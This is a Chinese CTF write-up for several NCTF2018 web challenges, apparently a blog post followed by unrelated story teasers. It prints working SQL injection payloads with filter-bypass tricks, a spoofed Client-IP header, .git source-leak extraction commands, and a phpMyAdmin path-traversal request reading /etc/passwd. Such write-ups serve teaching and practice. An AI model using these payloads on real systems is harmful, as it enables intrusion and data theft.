NCTF2018 WriteUp

Web

签到

打开访问http://ctfgame.acdxvfsvd.net:20002/index.php,发生301跳转,抓个包就能在cookie里看到flag。

滴!晨跑打卡


输入框查询时候url会变成http://ctfgame.acdxvfsvd.net:20001/index.php?id=12,猜测可是是sql注入。
经过测试,可以看到空格被注入了,绕过空格的%0a/**/都被过滤了,但是%a0没有过滤。构造payload:

# 爆库
?id=1%27%a0union%a0select%a01,database(),'3


得到数据库cgctf

# 爆表
id=1%27%a0union%a0select%a01,table_name,3%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0and%a0'1'='1


得到表pcnumber

# 爆列
id=1%27%a0union%a0select%a01,column_name,3%a0from%a0information_schema.columns%a0where%a0table_name='pcnumber'%a0and%a0'1'='1

得到3个列。

# 爆内容
id=1%27%a0union%a0select%a01,id,3%a0from%a0cgctf.pcnumber%a0union%a0select%a01,2,'3

但是最后没有找到flag,可能放在别的地方。
最后找到库flaaaaaaag,表f144444444g,th1s_1s_flag。最后payload:

1'%a0union%a0select%a0user(),(SELECT%a0GROUP_CONCAT(th1s_1s_flag%a0SEPARATOR%a00x3c62723e)%a0FROM%a0flaaaaaaag.f144444444g),3||'1

Go Lakers

有301跳转:


post viewsource后:

得到题目源码:

<?php 
error_reporting(0); 
include 'getip.php'; 
ini_set('open_basedir','.'); 
if(isset($_POST['viewsource'])){ 
    highlight_file(__FILE__); 
    die(); 
} 

mt_srand(mktime()+$seed); 

function de_code($value){ 
    $value = base64_decode($value); 
    $result = ''; 
    for($i=0;$i<strlen($value);$i++){ 
        $result .= chr(ord($value[$i])-$i*2); 
    } 
    return $result; 
} 

if(!(getip() === '127.0.0.1' && file_get_contents($_GET['9527']) === 'nctf_is_good' && mt_rand(1,10000) === intval($_GET['go_Lakers']))){ 
    header('location:https://bbs.hupu.com/24483652.html?share_from=kqapp'); 
}else{ 
    echo 'great'; 
} 

echo file_get_contents(de_code($_GET['file_'])); 

?> 

想要绕过de_code()只需要自己编写函数绕过,绕过的函数:

function en_code($value){
    $value = base64_encode($value);
    $result = '';
    for($i=0;$i<strlen($value);$i++){
        $result .= chr(ord($value[$i])+$i*2);
    }
    return $result
}

通过编写的en_code函数把flag.php加密后传过去。
最后构造的payload为:

?file_=Zm5lbTZ6dH4=
Client-IP:127.0.0.1   // X-Forwarded-For被过滤了

全球最大交友网站

打开题目给了一个css3时钟


访问/.git/目录,提示403,可能存在.git源码泄露。

使用Githack工具:

$ python GitHack.py http://ctfgame.acdxvfsvd.net:20003/.git/

得到了README.md,里面提示Allsource files areingit tag1.0。是要去1.0版本里找源码。具体可以参考p牛的博客
使用脚本gitcommit.py,修改下target可以获得一个readme.txt文件,但是里面是假的flag:

$ python gitcommit.py

再使用scrabble工具获得.git文件:

$ ./scrabble http://ctfgame.acdxvfsvd.net:20003

通过git log查看提交历史:


有三次commit,把head去指向hint那一处:

git show HEAD 6b21737b59806722a89f33d26658b8508ac009e6

这里没有真的flag:


show上次的结果:

$ git show HEAD 01b878ee5f39810a02f06b4a560571413020ea42

得到真正的flagflag{git_is_very_good}

小绿草之最强大脑

提示源码泄露,访问http://ctfgame.acdxvfsvd.net:20004/index.php.bak得到源码:

<?php
if(isset($_SESSION['ans']) && isset($_POST['ans'])){
    if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){
        session_destroy();
        echo '
        <script language="javascript">  
        alert("怎么没算对呢?");  
        window.history.back(-1);  </script>';
    }
    else{
        if(intval(time())-$_SESSION['time']<1){
            session_destroy();
            echo '
            <script language="javascript">  
            alert("你手速太快啦,服务器承受不住!!!");  
            window.history.back(-1); </script> ';
        }
        if(intval(time())-$_SESSION['time']>2){
            session_destroy();
            echo '
            <script language="javascript">  
            alert("你算的太慢了少年!");  
            window.history.back(-1); </script> ';
        }
        echo '
        <script language="javascript">  
        alert("tql,算对了!!");  
         </script> ';
        $_SESSION['count']++;
    }
}
?>

这里的intval函数会防止程序溢出,所以输入的大于21位的数字经过PHP处理的值会发送改变:

<?php echo intval('4200000000000000000000');?>
32位系统:2147483647 64位系统:9223372036854775807

题目是64位系统,溢出后为9223372036854775807
编写python:

import requests
import re
import time
s = requests.Session()  # 因为要连续计算,用来保存当前会话的持续有效性
url = "http://ctfgame.acdxvfsvd.net:20004/"
number ="4200000000000000000000"  #输入的数字
r = s.get(url)
math = ''
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0',
}
while(1):
    num_pattern =re.compile(r'<div style="display:inline;">(.*?)</div>')
    num = num_pattern.findall(r.text)   #正则提取公式
    gg = "9223372036854775807"+'+'+math.join(num)[0:-1]  #拼接真实的公式
    print(gg)
    ans = eval(gg)   #利用eval直接来计算结果

    print(ans)
    data = "input={number}&ans={ans}%".format(number=number,ans=ans)

    r =s.post(url,headers=headers,data=data)
    time.sleep(1.5   #延时1.5秒
    print(r.text)

easy_audit

给了源码:

 <?php
highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){
    foreach ($_REQUEST as $key => $value) {
        if(preg_match('/[a-zA-Z]/i', $value))   die('waf..');
    }
}

if($_SERVER){
    if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING']))  die('waf..');
}

if(isset($_GET['yulige'])){
    if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){         //日爆md5!!!!!!
        die('waf..');
    }else{
        if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'){
            $getflag = file_get_contents($_GET['flag']);
        }
        if(isset($getflag) && $getflag === 'ccc_liubi'){
            include 'flag.php';
            echo $flag;
        }else die('waf..');
    }
}


?>

基本操作

访问看到了phpadmin:



通过弱口令能够登录:

username: guest
passowrd: guest

接着通过phpmyadmin任意文件包含漏洞读文件:

/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

然后执行sql语句去查找flag:



去读文件,方式是`/tmp/sess_+ 你的 phpMyAdmin session 值 q1s3uhjomj3lo3891ggud8kbm4


©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,186评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,858评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 158,620评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,888评论 1 285
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,009评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,149评论 1 291
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,204评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,956评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,385评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,698评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,863评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,544评论 4 335
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,185评论 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,899评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,141评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,684评论 2 362
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,750评论 2 351

推荐阅读更多精彩内容

  • WEB2 看源代码得flag 文件上传测试 找一张图片上传,截包改后缀名为.php得flag 计算题 F12修改输...
    a2dd56f6ad89阅读 18,499评论 0 2
  • 我使用的是火狐浏览器 使用火狐浏览器的hackbar插件 如果有错误的地方希望大家多多指出,多谢多谢 WEB2 点...
    yangc随想阅读 54,257评论 11 16
  • 生活不是你不去面对它就不来的。 我这样逃避生活的人日后必定被生存所扰。 既想醒又想睡,像个胆小鬼。
    小白很黑阅读 164评论 0 0
  • 你的出现。 就像等待了很久,但是又终会出现的。 像是热烈的,但是又像是沉稳的。 像是初恋一样的,但是也是苦涩的。 ...
    突然觉得我智商好低阅读 110评论 0 0